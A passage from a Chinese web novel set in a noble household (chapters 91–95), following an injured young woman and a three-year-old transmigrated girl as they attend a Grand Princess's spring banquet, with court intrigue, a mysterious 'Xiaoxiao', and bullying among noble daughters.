以后别说嫁入高门大户、做那风光显赫的当家主母,怕是焦氏几句“为她好”的枕边风,她那糊涂爹就能把她随便许给个边陲小吏或是糟老头子,打发得远远的。
她厉声吩咐,每个字都像是从牙缝里挤出来的:“我记得妆匣底层还有一瓶上好的金疮止血粉,赶紧给我找出来抹上。今日之事,除了你、我和秋梨,若敢有第四个人知道,仔细我扒了你们的皮,再把你们老子娘统统发卖到矿上去!”
她喘了口气,又咬着牙补充:“天一亮,就让秋梨悄悄去街口回春堂买几副止疼的药回来熬上,就说我夜里贪凉,染了风寒。”
说罢,她虚弱地轻咳几声,闭目瘫软下去,有气无力地命令:“待会儿……用干净白布给我把伤处缠紧些,外面多罩两层厚实衣裙。辰时准时进来给我梳妆上妆,遮遮这脸色。”
“小姐,您都伤成这样了,这、这是还要出门?”春桃大惊失色,声音都变了调。
看小姐眼下这气若游丝的模样,分明已去了半条命,这数九寒天,再折腾出去,万一有个好歹,她们这些贴身伺候的,哪里还有活路?
“去!当然要去!”孟绫猛地睁开眼,眼中闪过一丝执拗的精光,“祖母昨日亲口说了,今天是她晋了一品诰命后头一回以这个头衔带我出门赴宴,哪个有头有脸的夫人不给她两分面子?这种露脸的机会千载难逢!”
她想起上次宫宴因家里出事而错过,悔得肠子都青了,这次春日宴据说贵胄云集,没准就能遇上一段好姻缘,钓回个金龟婿,她是万万不肯错失的。
疼痛而已,算不了什么!她自小骄纵,何曾受过这般皮肉之苦,此刻却硬生生将这份折磨当成了必须跨越的关卡,去的时候小心些,忍着点就是了,无非是咬碎银牙往肚里咽的功夫。
……
巳时还差一刻,勉强打扮停当的孟绫,便由春桃和秋梨一左一右,几乎是架着搀扶出了院门,朝府门走去。
她脸上敷了厚厚的脂粉,嘴上点了鲜亮的胭脂,发髻簪了簇新的珠翠,一身锦绣衣裙,外罩华贵的纯白狐狸毛大氅,乍看之下确是花枝招展。
然而再多的脂粉也掩不住她眼底的青黑与脸上的惨白,更压不下那从骨子里透出的虚弱疲态。
她脚步虚浮,身子颤颤巍巍,全靠两个丫鬟暗中使力支撑,每挪一步,臀腿间的伤口便是一阵尖锐的刺痛,激得她额角渗出细密冷汗,只得紧紧蹙着眉尖。
若不动作,静静立着,那弱柳扶风、我见犹怜的姿态倒有几分惹人注目。
“祖母怎么还不出来?秋梨,你快去松鹤堂瞧瞧。”一直等到巳时正都过了,还不见孟老夫人身影,孟绫心中越发焦急,又因强撑站立而双腿发软,忍不住出声催促,声音里带上了不易察觉的颤抖。
门房处虽有椅子可坐,小屋亦能暂避寒风,可她伤在那种地方,如何坐得下去?一夜未眠,失血加之疼痛,她眼前已阵阵发黑,身子摇晃得越发厉害,几乎全副重量都压在了春桃身上。
“是,奴婢这就去……”秋梨慌忙应声,刚一松手,话音未落,却听一道透着威严与薄凉的女声自身后响起:“不用去了!老夫人今日身体抱恙,出不了门。”
孟绫心头一紧,听出是焦氏的声音,忙强打精神转身行礼。动作间失了秋梨的搀扶,她身子猛地一晃,险些软倒,全靠春桃死死拽住才勉强站稳,姿态狼狈。
“你这是什么规矩?装什么娇柔,扭扭捏捏一副孟浪样儿,出去可别丢了我们侯府的脸面。”焦氏扶着嬷嬷的手缓步而来,目光在孟绫过分苍白的脸上和虚浮的脚步上扫过,嫌弃地一挥手中锦帕。
经过孟绫身边时,她似是嗅到了些许血腥与药粉混杂的异味,眉头一拧,轻掩口鼻,脚步不停。
走出好几步远,才悠悠抛下一句,语气不容置疑:“还不快点跟上?今日宴上贵人多,你若是不循规蹈矩,再这般轻浮作态惹出什么错处,丢了侯府的颜面,仔细回来我揭了你的皮!”
孟绫原本指望祖母同行能为自己撑腰增色,即便不能大放异彩,也能得几分关照体面,此刻希望落空,心下顿时一片冰凉。
她犹豫着是否该去松鹤堂探看祖母病情,或许祖母并无大碍,还能强撑起身带她出去……
可焦氏积威已久,眼下又明令催促,她不敢违逆,更不敢回头质疑,只得将满腹惶惑与不甘压下,内心悻悻然,却不得不低声应道:“是,二夫人!”
说罢,狠命咬了咬下唇,尝到一丝铁锈般的血腥味,在春桃、秋梨的搀扶下,一步一步,艰难地跟上了焦氏的脚步。
“一看就知道是个不安分的。紫烟,你今天给我看住她,别让她出什么幺蛾子,给我丢脸。”焦氏直到上了马车,依旧不放心地掀起车帘一角,回头狠狠剜了孟绫一眼。
只见孟绫被两个丫头半搀半架着,步履虚浮,还不紧不慢,故意落在队伍后头,离得老远,那副半死不活又故意拖延的模样,看得焦氏心头火起,牙关咬得隐隐发酸。
她唰地放下帘子,压低声音,对随后上车的心腹丫鬟紫烟厉声交代下去,每个字都像是从齿缝里挤出来的。
“二夫人放心,奴婢定会寸步不离,盯牢了大小姐。”紫烟连忙躬身应道,脸上堆满郑重。
她也顺着焦氏刚才的角度,透过那尚未合拢的车帘缝隙,向孟绫投去一个毫不掩饰的、带着鄙夷与监视意味的冷脸,活像一条得了主人令、准备扑咬猎物的恶犬。
第91章 “潇潇”给送了邀帖?
马车外的孟绫,恍若未觉那些刀子似的目光,依旧“千辛万苦”颤巍巍地将手搭在春桃和秋梨的胳膊上,仿佛那马凳是刀山火海,一步一喘地“挪”了上去,再“虚弱”地探身进马车时,痛得额角竟当真憋出了一层细密的汗珠。
只不过,除了痛,多半是闷热和心中厌烦所致。
而松鹤院里的老宋氏,确实是一大早就被发现出了状况。
天色刚蒙蒙亮,春兰嬷嬷如往常一般轻手轻脚进入内室,看老夫人是否需要如厕时,就发现帐幔里的老宋氏状态很不对劲。
她并非昏睡不醒,而是睁着眼直勾勾望着帐顶,眼神涣散呆滞,听到动静,眼珠极其缓慢地转动过来,却半天对不上焦。
嬷嬷心惊,连忙上前扶她,触手只觉老夫人手臂僵硬,再细看,那双养尊处优、惯常捻着佛珠的手,竟在不受控制地微微发抖。
“春……兰……”老宋氏开口,声音含糊嘶哑,像是舌头比平日短了一截,不甚灵光,“老身……这是怎么了?身上……怎么有股子……药味儿?”
她断续说着,鼻翼翕动,浑浊的老眼里流露出困惑与一丝不易察觉的惊惶。
实在是昨夜被灌药灌得急,灌完虽被胡乱灌了几口清水“漱口”,却哪里抵得过阿沅将那慢性毒药几副并作一副、加足火力熬成的浓汁?
药性猛烈叠加,那经久不散的苦涩气味,更是深深浸入了被褥帐幔,甚至仿佛从她毛孔里丝丝缕缕透出来。
“没事的,老夫人,许是哪个院里大清早熬药,药气顺着风飘过来了。”
春兰嬷嬷强压心惊,脸上挤出安抚的笑容,声音放得又轻又柔,像是哄着稚儿,“老奴这就叫人把窗户都打开,透透气,待会儿这味儿就散了。”
她一边说着,一边心下也狐疑不定。
昨晚明明是她亲自伺候老夫人洗漱更衣就寝的,老夫人近来连平日进补的荣养汤药都嫌味重不肯多喝,怎的这一夜过去,连人带床都像是从药罐子里捞出来似的?
看着老夫人目光迟滞、连今夕何夕都似要思索半天的模样,嬷嬷忽然想起今日要去参加的大事儿,忙试探着问:“老夫人,您看您今儿身子不爽利,要不要……老奴让人去给二夫人传个话,把今儿个的春日宴给推了?”
“春……日宴?”老宋氏吃力地重复着,眉头紧紧皱起,目光里全是茫然的努力回想。
她隐约觉得今天是有件顶要紧、顶风光的事,可那事究竟是什么,具体又该如何,却像隔着一层厚重的迷雾,怎么也抓不住、想不清。
“什么……春日宴……”她喃喃着,语气里满是困惑与焦躁。
春兰嬷嬷见状,心中已然断定这情形是万万出不得门了。
老太太这副魂不守舍、言语不清的模样,虽一时半会儿,应该没有什么性命之忧。若真到了那贵人云集的春日宴上,还不知要闹出什么笑话、闯出什么祸事来。
她不敢再等老夫人那混沌不清的指令,当机立断,自作主张遣了腿脚快的小丫头去二夫人焦氏院子报信,只说是“老夫人昨夜偶感风寒,晨起头疼身重,实在起不了身,今日的春日宴恐怕去不成了”。
正是嬷嬷这及时的“擅作主张”,却也导致了前头侯府门口,孟绫期待已久,却左等右等不见祖母,最终只得跟着焦氏悻悻出发的那一幕。
这自然也让原本满心期待能借此机会出门透透气、或许还能有一丝渺茫转机的孟绫,希望彻底落空,心中更是失望气恼至极。
……
与此同时,小宅院里的阿沅还沉浸在香甜的梦乡里。她正梦到自己回了庄子上,在暖洋洋的日头下追着大鹅跑,笑得见牙不见眼……
冷不防被孟柒在门外压低却清晰的声音吵醒:“小姐,有人一大早送了份邀贴来,指名道姓让门房一定要交到小姐手上,送贴的人放下东西就走了,拦都拦不及。”
阿沅睡得迷迷糊糊,小脑袋还晕乎着,浓浓的起床气让她把小脸皱成了包子,咕咕哝哝地嘟囔,带着浓重的鼻音和不满:“什么腰铁……窝不要练……窝要睡觉……等回了庄子……再说……”
她以为柒叔又要抓她起来练功蹲马步,心里老大不乐意,小小的身子在柔软的被褥里不高兴地扭了扭,像只想要钻回洞里的困倦小兽,努力把自己更深地埋进暖和的被窝,只露出几缕翘起的头发,打算继续会周公。
“小姐,在下看了一眼,那邀贴的落款,写的是‘大长公主府’。”孟柒的声音透着谨慎与疑惑。
他实在想不通,他们住在这处隐蔽小宅,怎会有人知晓,还精准地送了贴来?这邀贴来得突兀又蹊跷,由不得他不多想。
贴子上“孟二小姐亲启”几个字写得清清楚楚,他担心年纪尚小、识字可能不全的小姐看不明白,便先越过主子仔细阅览了一遍。
这一看,心中的疑团更大了。
被窝里传来阿沅更加含混不清的嘟囔,带着被吵醒的委屈:“大长公主……?窝……不认识她呀……”说着,小鼻子轻轻抽了抽,仿佛又要陷入沉睡,发出细微而均匀的呼吸声。
孟柒在门外等了等,不见里头有动静,心知这孩子怕是又睡过去了。
他掂量着手中那份做工精美、熏着淡香的邀贴,决定再试试,便提高了些声音,用上了诱哄的语气,将帖中最引人好奇的内容点出:“可是小姐,这帖子上说,是‘潇潇’邀您去看戏呢!而且还特意加了句,说是‘有好戏’可看。”
他顿了顿,补充道,“在下想着,这‘潇潇’会不会是小姐在哪里结识的手帕交、小伙伴?”
他仔细辨认着帖上的字迹,又自语般分析道:“看这笔墨,字形端正,笔锋隐见力道,行文措辞也得体,虽笔迹间还带着些许稚嫩,但骨架已成,风骨初显……倒不像是与小姐一般年纪的孩童所书。”
这话他没完全说出口,但心中的疑虑更重了。
他们一行人行踪隐秘,自问并未泄露,若是真被人暗中盯上,与其躲藏,不如大大方方去看看对方葫芦里卖的什么药。
反正小姐也只是回自家侯府走了一圈,并未做什么见不得光的事。
被窝里,那小小的身躯似乎动了动。“看戏?手帕交?大长公主府?”孩童的意识还在睡梦里挣扎。
但属于孟沅的那份警觉与好奇心却被这番话渐渐勾起。她终于反应过来,柒叔说的不是催她练功的“腰铁”,而是“邀贴”,是请她去玩的!
几乎是立刻,阿沅“噌”地一下从被窝里坐了起来,顶着一头睡得乱糟糟的柔软头发,眼睛还没完全睁开,就冲着门外急切又带着刚醒的软糯鼻音确认:“窝起来了!柒叔,那……那泥跟窝一起去吗?”
这话别人听来,她就是有点想去瞧热闹,但又年纪小有点怕生,本能地想拉上最信赖的柒叔。
门外,孟柒苦笑了一下,声音温和却带着无奈:“柒叔怕是去不了,小姐。这是大长公主府的春日宴,规矩大,没有邀贴是进不去的。能跟着小姐进去的,只能是贴身的婆子或者丫鬟。”
他此时有些后悔,早知如此,该把红豆也一并带来才是,她和绿果一左一右护着小姐更加周全。眼下临时要找个体面又可靠的丫鬟可不容易。
但他转念一想,青天白日,大长公主府举办盛宴,宾客如云,守卫定然森严。若真有人想对小姐不利,绝不会选在如此众目睽睽、难以脱身之处。
再者,绿果那丫头,看着秀气,一身功夫却不输五六个男子,机敏沉稳,护着小姐周全应当无虞。
思虑至此,孟柒心中稍定,对着门内温声道:“让绿果陪着小姐去吧。她身手好,人也细心,定能照顾好小姐。小姐且起来洗漱用些早膳,再决定去不去也不迟。”
第92章 主动贴上来的潇潇姐姐
“绿果姐姐,窝四不四又胖了?”阿沅皱着小眉头,煞有介事地拍了拍自己圆鼓鼓的小肚子,那身崭新的元宝纹红色袄子被撑得紧绷绷的。
她低头瞅了瞅,仿佛能瞧见那布料上每颗小元宝都跟着她的动作微微变形。
“没胖没胖,小姐还窜高了呢!”绿果蹲下身,一边柔声安慰,一边替她整理衣襟,可手指还是忍不住悄悄探到她腰侧,轻轻捏了一把那软乎乎的“小面团”,眼里漾着藏不住的笑意。
阿沅疑惑地伸出藕节似的小胳膊,笨拙地前后比划了一下,也没觉着袖子变短呀。
她仰起小脸,乌溜溜的大眼睛盯住绿果,腮帮子微微鼓起,心想绿果姐姐又在哄她呢,可她拿不出证据,只好把这点小怀疑咽回肚子里。
为了这次春日宴来得仓促,并没特意裁制新衣,过年那身大红遍地金元宝纹的袄裙还崭新得耀眼,自然不必另做。
只是绿果怕她穿得太过臃肿,悄悄给她减了一件里头的小袄。
初春的风还带着料峭寒意,但若不少穿这一件,阿沅真觉得自己要被裹成一颗动弹不得的红包了,连抬手都费劲。
“大长公主府也在城西,不过离皇城根更近,跟几家王府、皇子府都是邻居。今儿个赴宴的车马肯定多,路上少说也得耗上两盏茶的功夫。小姐,您若还困,在车上正好再眯一会儿。”绿果细心叮嘱着。
孟柒亲自赶车,终归不放心,车辕上还坐着个作小厮打扮的十六,腰杆挺得笔直,眼神机警。
阿沅乖乖地点了点小脑袋,心里却像揣了只不安分的小兔子。
书中对这场春日宴并无着墨,大长公主在书里也不是坏人,可不知为何,她的小心肝就是噗通噗通跳得有些急。
“沅沅?快点下来,潇…潇姐姐早就等着你了。”
他们的马车朴素无华,并无侯府徽记,刚挨近大长公主府门前那对威风凛凛的石狮子,还未停稳,便有人风风火火地扑到车旁,声音有点刻意,甜得发腻。
孟柒一个凌厉的眼风还没来得及扫过去,十六已如鬼魅般闪至马车后方。绿果反应亦是极快,未见车下之人,便已不着痕迹地侧过身子,用自己挡住了车门。
“车上……是孟二小姐吧?”
“沅沅,怕你认生,潇潇姐特意来接你了,快下来呀。”
阿沅没看见人,自然没有回答。
十六上前一步,拱手行礼。
眼前是一位打扮得颇为隆重的小姐,一身从头到脚,除了富贵还是富贵。瞧着**岁,至多不过十岁的光景。一身粉嫩衣裙,衬得小脸如三月桃花。
只是那面上的脂粉涂得有些过重了,好像还描了眉,不然倒是有几分英气,也不知谁给她脸上上了妆,反倒失了孩童应有的稚嫩气息。
但是,太热情了,热情得过了头。
她身旁还站着个十二三岁的小厮,也跟着招呼了一句。这一主一仆站在一起,不知怎的,总让人觉得有些别扭。
小姐年纪也不算小了,好好的丫鬟不带一个,怎么偏跟了个小厮呢?
也不知是不是没带丫鬟的原因,透着股说不出的怪异感,像是哪里不太对劲,一时却又难以看得透那古怪之处。
“沅沅,快下来。潇潇姐姐抱你,上回我们一起摘过海棠的,不记得了吗?”那声音越发轻柔,带着刻意的诱哄和夹子音。
车帘最终还是被掀开了。自称“潇潇”的小姐,脸上挂着无比热络的笑容。
阿沅望向她,小脑袋里却是一片茫然。原主的记忆碎片里,怎么也搜刮不出这号人物,就连小说里,似乎也未曾提及潇潇这个人。
“侯府,你们大院也有好几株海棠,真不记得了么?”潇潇不见半分不耐,依旧循循善诱,那说话的腔调拿捏得过分了些,如同在逗弄一只胆怯不敢近人的小猫儿。
后头的马车渐多,引导的护卫也开始催促。绿果虽觉异样,还是抱了阿沅下车。孟柒无法,只得将马车往前头赶去。
阿沅自始至终都没吭声,一双澄澈的大眼睛却像黏在了那位“潇潇姐姐”身上,努力想从她脸上瞧出些熟悉的影子,奈何原主的记忆库实在调取失败,或者说,压根儿就没有存储过关于她的信息。
“沅沅……”当这两个字再次被刻意加重,从那姐姐涂着口脂的唇瓣间蹦出来时,阿沅心里那点不乐意终于压不住了,小眉头拧成了疙瘩。内心的
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小人儿已经开始叉腰跺脚:你才是圆圆,你全家都是圆圆,比十六晚上天上的月亮还要圆!
“窝不四圆圆,窝叫阿沅!”她终于忍不住,奶声奶气地出言纠正,小脸儿绷得紧紧的。她就是不喜欢有人叫她“圆圆”,好像她整个人就是个圆滚滚的小球似的。
“可是……你……”也许是看见阿沅闻言迅速用小手捂住了自己的肚子,一脸戒备地盯着她,潇潇不得不将目光投向阿沅圆鼓鼓的小肚皮。
阿沅这下真有点生气了,小嘴一撇:“窝不认屎泥。”
说完,便甩开对方伸过来的手,迈开小短腿,噔噔噔地就往那高高的府门台阶上冲。
绿果和潇潇几人都连忙跟了上去。
“这位……男客请走这边门。”十六被门口的护卫客气地拦住了。绿果倒未出示请帖,只说是跟着小姐的,也顺利跟了上去,但到底还是比潇潇和那个青衣小厮慢了几步。
奇怪的是,那青衣小厮居然没被阻拦?难道本就是大长公主府的下人?那这潇潇小姐又是谁?
不对啊!大长公主膝下只有一个十六岁的独子,并无女儿。
绿果脑海里念头急转,阿沅心里也画满了问号,这人到底是谁?为何对自己这般热络?
她可不会因为一句“一起摘过海棠”就被轻易诓了去,谁家里还没几株海棠花儿呀?那是最常见不过的花了,哪个小娃娃没偷偷摘过一两朵玩儿。
不过是诓骗三岁小孩的话罢了。
“这是谁家的娃儿?怎么生得如此圆润可爱,跟年画上的福娃娃似的。”一道带着笑意的温润女声从头顶传来,成功逼停了正埋头往里冲、气鼓鼓的小阿沅。
她抬起小脑袋,立刻换上甜甜的笑容,露出一口小米牙,望向台阶最上方。
府门入口处,正中间立着一位仪态万方的妇人。头戴赤金点翠朝阳五凤挂珠冠,身着正红色绣金凤穿牡丹云锦宫装,外罩同色缂丝霞帔,雍容华贵,气度非凡。
她身侧站着一位男子,身着靛蓝色暗银竹纹锦袍,腰束玉带,面如冠玉,长身玉立,必是大长公主驸马无疑。
两人显然是在此迎候重要宾客,绝非她这样的小丫头。
第93章 笑出眼泪的大长公主
因着大长公主这声笑问,大门附近许多人的目光都聚焦到了这个圆滚滚的红衣小身影上。
阿沅连忙停下脚步,有模有样地屈膝行了个礼,声音糯糯的:“小女孟沅,请大长公主姨姨安,请驸马姨夫安。”
“哈哈哈,小小年纪,礼数倒周全,快些上来,让本宫仔细瞧瞧。”美貌妇人笑容愈发和蔼可亲,眼角的细纹都透着温柔,她微微蹲下身,张开了双臂,竟是真的要迎她入怀。
这样金灿灿、暖乎乎的大腿,阿沅岂能错过?
她立刻眉眼弯弯,像只欢快的小雀儿,蹦蹦跳跳地几步奔过去,毫不犹豫地扑进了那带着馨香的柔软怀抱里,还用小脸蛋蹭了蹭,软糯地唤了一声:“公主姨姨~”
落后几步的潇潇见到这一幕,只是微微一怔,竟也不先行礼,便径直扑了过去,她立在大长公主身侧,俯身在她耳畔,用刻意压低的声音说:“姑母!阿沅是潇潇的好伙伴呢。”
“哈哈哈!”大长公主的脸颊贴着阿沅软乎乎的小脸,眼睛却看向了潇潇,忽然,她像是瞧见了什么极其有趣的事物,伸手指着她,先是忍俊不禁,随即竟是朗声大笑起来。
直笑得眼角沁出了泪花,连气都有些喘不匀:“你……你……”半天也没“你”出个所以然,只顾着笑了。
“潇潇!我是阿沅的潇潇姐姐。”潇潇的脸色变了变,带着一丝不易察觉的窘迫,轻轻扯了一下大长公主宽大的衣袖,刻意加重了语气强调,声音也大了不少。
“是!是!是!潇潇……姐姐,”大长公主好不容易止住笑,擦了擦眼角的泪,又捏了捏怀里阿沅那白嫩嫩、滑溜溜的小脸蛋,
“可要替本宫照顾好我们阿沅小宝贝。”恰此时前面有更尊贵的客人到了,她便挥挥手,让他们先进府去。
阿沅心里悄悄松了口气,暂且放下了那点莫名的戒备。她伸出小手,搭上了那双明显比自己大上许多、涂着丹蔻的手,终于乖乖地叫了一声“潇潇姐姐”,任由对方牵着自己往府内走去。
比起眼前这位身份成谜、热情过度的“潇潇姐姐”,大长公主府邸的亭台楼阁、曲径回廊更让她感到陌生。
罢了,既然有人主动示好带路,暂且跟着便是,自己又不吃亏。
“跟我来。”潇潇那双狭长的丹凤眼亮晶晶的,带着几分孩子气的急切,她一把攥住阿沅肉乎乎的小手,提了提裙角,便往后院跑。
阿沅被她带着,脚下的小步子迈得飞快,几乎要跟不上,两个小揪揪在脑后一颠一颠,像两簇跳动的小火苗。
绿果抿着嘴,提着心,不远不近地缀在七八步外,眼睛牢牢锁在那道小小的红色身影上,生怕一错眼,这小祖宗就磕了碰了。
眼瞅着要越过那道精致的垂花门,跟着潇潇的小厮脚下猛地一顿,脸上显出几分挣扎。
往前是女眷内院,他一个半大小子,规矩上是不好再跟的。
他搓了搓手,望着已经快消失在门后的两个小身影,只能心里暗暗叹口气:哎,早知道主子这般风风火火,就该想法子多派个稳妥的嬷嬷,或是丫鬟跟着才是……
孟绫来得其实比阿沅还要早些。
她刚被春桃和秋梨从马车上搀下来,脚还没站稳,继母焦氏那刀子似的目光就剐了过来,压低的声音又急又厉:“你给我老实点!今儿个是什么场合,收起你那些不上台面的心思!丫鬟也不用带了,紫烟——”
她朝身后倨傲的大丫头一扬下巴,“跟上她!寸步不离地给我盯紧了,若出了半点差错,仔细你的皮!”
“母亲,我……”孟绫脸色一白,嘴唇翕动,眼里浮起一层水光
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,带着恳求望向焦氏。
她身上还藏着昨晚一屁股的钝痛,此刻只想安安静静、尽量不惹人注意地捱过这场宴会,再私会一两个公子。
可焦氏只从鼻子里哼出一声,丢给她一个满是厌弃的白眼,转身便扶着婆子的手,快步走进了那花团锦簇的后院,很快便与一群珠光宝气的贵妇人谈笑风生,融作了一处。
“还不快走!”紫烟不耐烦地催促,声音尖细,她朝前面一个引路的、穿着比自家下人光鲜不少的青色比甲的丫鬟努了努嘴,“没见人家都走远了么?磨蹭什么!”
孟绫出自安平侯府,却只是二房的姑娘。她父亲孟二泉新近才得了个从五品的员外郎衔,能接到大长公主府的邀贴,全是仰仗祖母老宋氏那一品诰命的脸面。
来领她们进去的丫鬟,显然也不是什么有体面的主子,她一口气招呼了两三家身份相仿、不算起眼的官眷,让她们自行跟上便是。
孟绫只觉得臀腿处那未曾愈合的伤口火辣辣地疼,每走一步都牵扯着,仿佛有细针在扎。她哪里敢走快?
即便心里焦急,也只能小步挪动,姿势不免有些僵硬别扭,生怕动作大了,那衣料磨到伤处,更怕伤口裂开,渗出血迹,污了这身为了今日特意赶制、并不算顶好的新衣。
自然而然的,她便落在了这一小队的最后面。
“真是个没用的东西,走个路也这般扭捏,真真上不了台面。”紫烟回头瞪了她几眼,催促了几次不见效,索性也放慢了脚步,东张西望起来。
一会儿踮脚看那廊下挂着的精致鸟笼,一会儿又探头去嗅道旁初开的玉兰,目光更多是流连在那些衣着光鲜、环佩叮当的贵女身上,眼里带着艳羡和比较。
只要孟绫这人还在视线里,没走丢,她便懒得再多费口舌管束。
第94章 一副青楼做派
“潇潇姐姐,我们这是要去哪儿呀?”进了内院,景致愈发开阔精巧,阿沅的脚步不自觉地慢了下来,一双乌溜溜的大眼睛不够用了似的,左看看右瞧瞧。
无论是穿越而来的孟沅,还是书里那个三岁的原身,都是头一遭进这样门槛高耸、气象非凡的府邸,满心的好奇几乎要溢出来,像只初入花园的小雀儿,看什么都新鲜。
“这时候开得最好的花儿,姐姐先带你偷偷瞧一圈去!”
潇潇回过头,冲她狡黠地眨眨眼,嘴角弯起一个灵动的笑,“等会儿人多了,挤挤挨挨的,可就看不真切,也玩不尽兴啦!”
说着,她手上加了点力道,牵牢了阿沅,两人像两只滑溜的小鱼儿,径直绕过那绘着精美彩画的游廊,穿过一道月洞门,眼前豁然开朗,是一片更为绚烂的花圃。
潇潇拉着她,便朝着那花团锦簇处小跑过去。
“你们瞧那边,那是谁呀?一身素白,在这喜庆日子里给谁看呢?”不远处,几个聚在一处赏花的贵女注意到了独自一人的孟绫,有人用手帕掩着嘴,低声说道。
“何止是白衣,你们看她那副模样,”另一个小姐撇撇嘴,语气里满是鄙夷,“弱柳扶风似的,还蹙着眉头,一手托着腮,就这么倚在廊柱上……做给谁看呢?一副青楼做派。”
“挑的位置也妙,正在那拐角显眼处。待会儿前头的公子们进来游园,头一个瞧见的可不就是她?这心思,未免也太明显了些。”一个穿着鹅黄衫子、年纪稍长的姑娘冷笑一声,下了定论。
“不知是哪家小门小户出来的,一点规矩都不懂。走,咱们过去瞧瞧,到底是何方神圣。”提议一出,几人便嬉笑着,袅袅婷婷地朝孟绫所在的方向走了过去。
园中赏花扑蝶的贵女们本就三三两两结着伴,骤然出现一个落单的、举止又显得“出格”的,自然成了众人目光和闲话的焦点。
孟绫哪里知道这些?她实在是走得又痛又累,额角都沁出了细汗,眼见身旁有根光洁的廊柱,便忍不住靠了上去,想略歇一歇脚,缓一缓那磨人的痛楚。
她微微蹙着眉,一手下意识地轻轻按着身侧,全然没料到自己这副情状,落在旁人眼里,竟成了刻意摆出的柔弱姿态,蓄意勾引。
“呦!我当是谁呢!”一个穿着桃红撒花裙、头戴赤金蝴蝶簪的小姐脚步轻快,几步就蹿到了孟绫跟前,距离不过五步,上下打量着她,语气里的轻蔑毫不掩饰。“
这不是安平侯府二房,那位新晋从五品员外郎家的嫡小姐吗?听说在自家姐妹里可是个厉害角色,怎么今日身边连个使唤的人都没有?孤零零站在这儿,是想……等谁呢?”
她话音才落,另一位被两个丫鬟簇拥着、缓步走来的小姐也到了近前。
这小姐约莫及笄之年,穿着湖蓝织锦的衣裳,气度更为沉静些,可说出来的话却更刻薄:“从五品的员外郎?这样的门第,也配踏进大长公主府的门槛?依我看,怕是连给府上的世子爷做个端茶递水的通房侍妾,都嫌不够格呢。”
又有三四位小姐被这边的动静吸引,围拢了过来,七嘴八舌地搭腔:
“就是,什么客人?你也配自称是大长公主的客人?”
“我听说,你们府上得着的邀贴,是给那位有一品诰命的老夫人的吧?老夫人今日怕是没来?即便来了,该领着进园的,也该是大房的嫡出小姐。你呀,不过是个……充数的罢?”
“哎,你们可听说前阵子安平侯府的传闻了?说是做了亏心事,宅子里半夜闹鬼呢!兴许那老继室心里有鬼,大白天都不敢出门见人了。嘻嘻!”不知是谁提了一嘴,几个女孩子立刻用帕子捂着嘴,嗤嗤地笑了起来。
“对了,上次宫宴,好像就没见着安平侯府的女眷露面呢。”又有人补充了一句,更是坐实了某种猜测。
“嫡出又怎么样?刚过完年,她那个爹倒是有功夫娶了个平妻,阵仗还不小。”
“你们……你们……”孟绫气得浑身发抖,脸上一阵红一阵白,手指着那几个笑语嫣然的小姐,胸口剧烈起伏,却半天憋不出一句完整有力的反驳话来。
她想冲出这令人窒息的包围圈,可身边连个帮腔挡驾的丫鬟都没有,刚挪动两步,就被人有意无意地挡住了去路,只能困在原地,任由那些或明或暗的嘲讽、轻蔑、探究的目光,将她钉在耻辱柱上,肆意品评。
上两次参加的宴会,主家身份相当,众人都互相客
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客气气,她因着父亲新得的官职,甚至还得了几句奉承。
可今日,在这真正的钟鸣鼎食之家,她才无比清晰地意识到自家那点勉强撑起的门面,是多么不堪一击。
若不是祖母那点子诰命荣光,在这大长公主府前,他们怕是连排队的资格都没有。
“潇潇姐姐,您慢点儿嘛!等等我呀!”一道清脆娇嫩、带着点小喘气的童音,忽然从回廊另一侧的花丛边传来,像一颗小石子投入凝滞的水面。
“好呀!阿沅你快点过来,潇潇姐姐帮你捉那只最大最漂亮的蝴蝶!”
紧接着是另一道稍显清亮、满是纵容与欢快的中音。
正被悲愤与难堪淹没的孟绫,猛地一愣,几乎是下意识地扭过头,循声望去。
只见一道鲜艳如火的红色小身影,像颗滚动的红玉珠子,从廊边茂盛的花木旁一闪而过,只留下惊鸿一瞥的圆润侧影和那两个随着跑跳而活泼弹动的小发揪。
“太像了……”孟绫心头突地一跳。
那声音软糯糯的调子,那跑起来有点笨拙却充满活力的姿态……像极了她那个可恶又可恨的小堂妹,大房的阿沅丫头。
但这念头只闪现了一瞬,她便立刻用力摇了摇头,自己在心里否定了:不可能!绝对不可能!大房那一支,早就被祖母打发到城外那个破庄子里自生自灭了。
去冬今春那样冷,京城都**那么多人。庄子上缺衣少食的,能不能熬过来都两说,只怕现在……都在等着吃席了罢?
再说了,安平侯府拢共就得了一张邀贴,那小丫头片子怎么可能进得来这大长公主府?
她再次望向那声音消失的方向,花丛掩映,早已不见了人影。
刚才那惊鸿一瞥的小娃娃,玉雪可爱,被一个一看就是大家出身的贵女牵着、护着,身边跟着的丫鬟也气度不俗,那通身的无忧无虑、被娇宠着长大的明媚气息……怎么可能是她那个在庄子里苦熬、面黄肌瘦的小堂妹?
定是宫里哪位得宠的小公主,或是哪位王府里的金尊玉贵的小郡主,趁着春日,出来玩耍的。那才是云端上的人儿。
与她,与她记忆里那个可能已不在人世的小丫头,是云泥之别,一万个不会是的。
第95章 纪世子和三皇子
扑蝶出了一身薄汗,鬓发都有些湿漉漉地贴在颊边,个个脸上红扑扑的像染了胭脂,虽是一无所获,连片完整的蝴蝶翅膀都没能兜着,但胜在阿沅玩得高兴,咯咯的笑声银铃般洒满了花丛。
她跑得小髻微散,几缕软软的发丝黏在额角,圆眼睛里亮晶晶的全是快活,仿佛追蝴蝶本身就已是最有趣的事。
不远处的主路上忽然传来一阵刻意压低的催促与骚动:“快点快点,赶紧的都靠近点,大长公主带着各府夫人们往这边来了。”
“瞧见后头没有?公子们也跟着呢。最前面那位身着月白锦袍、玉树临风的,不会就是纪世子吧?”
“能被众人簇拥着走在最前头的,不是世子爷还能有谁?”
“哎呀,长得真好看。”
……
“阿沅,走,咱们也看热闹去。”潇潇眼见原本三三两两、散在各处赏花的贵女们纷纷起身,步履匆匆却极力维持着端庄仪态转向主路方向,立刻来了兴致,一把牵起阿沅的小手。
“好呀!”阿沅正愁热闹要散了,闻言立刻仰起小脸,笑得见牙不见眼,主动将自己的小胖手塞进潇潇掌心,还依赖地攥紧了她的手指。
潇潇拉着她逆着人流往主路方向小跑,两人像两尾灵活的小鱼,竟在人群缝隙中钻了过去,在不远处的游廊下抢到了一个紧挨着主路的绝佳位置。
“来,阿沅坐这儿。潇潇姐姐抱着你,看得更清楚。”潇潇不由分说,一把将小奶团子抱起来,自己坐到廊凳上,把阿沅稳稳圈在胸前。
